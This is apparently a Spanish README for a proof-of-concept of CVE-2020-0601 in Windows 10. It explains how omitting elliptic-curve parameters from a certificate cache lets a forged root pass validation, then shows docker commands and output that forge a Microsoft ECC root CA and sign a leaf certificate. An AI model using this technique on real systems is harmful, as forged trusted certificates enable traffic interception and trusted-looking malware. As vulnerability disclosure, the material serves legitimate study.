
prueba de concepto para CVE-2020-0601
Una divertida prueba de concepto para crear tu propia CA raíz y certificado firmado basada en la vulnerabilidad CVE-2020-0601 en Windows 10. La base del problema es que el método CertGetCertificateChain() validaba incorrectamente las autoridades de certificados raíz. Dado que la búsqueda de un certificado de firma dentro del almacén de confianza puede ser costosa, Microsoft implementó una caché que usaba la clave pública del certificado raíz proporcionado para determinar si este certificado ya había sido cargado previamente desde el almacén de confianza. Sin embargo, para los certificados de curva elíptica, el SubjectPublicKeyInfo contiene más que solo una clave pública. Los certificados de curva elíptica deben hacer referencia a la curva elíptica específica (o proporcionar sus propios parámetros de curva elíptica personalizados). La vulnerabilidad ocurre porque los parámetros de la curva elíptica no están incluidos en la búsqueda de la caché. Podemos tomar una clave pública existente, elegir una nueva clave privada, calcular parámetros de curva que hagan válida esta combinación y crear un certificado raíz que superará la búsqueda en caché anteriormente vulnerable de Microsoft.
Este repositorio demuestra la falsificación del certificado raíz de confianza "Microsoft EV ECC Root Certificate Authority 2017" y el uso de esta nueva CA raíz para firmar un certificado hoja.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializando root.txt y auto-firmando el certificado raíz
Writing ca/root.pem
Serializando la clave privada raíz
Writing ca/root-key.pem
read EC key
writing EC key
Generando una clave privada RSA
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Verificar que la solicitud coincide con la firma
Signature ok
Detalles del certificado:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Abr 30 00:00:00 2018 GMT
Not After : Ago 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Escocia
localityName = Tierras Altas
organizationName = Gringotts
organizationalUnitName = Castillo Hogwarts
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
El certificado será certificado hasta ago 1 00:00:00 2020 GMT (184 días)
Write out database with 1 new entries
Base de datos actualizada
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem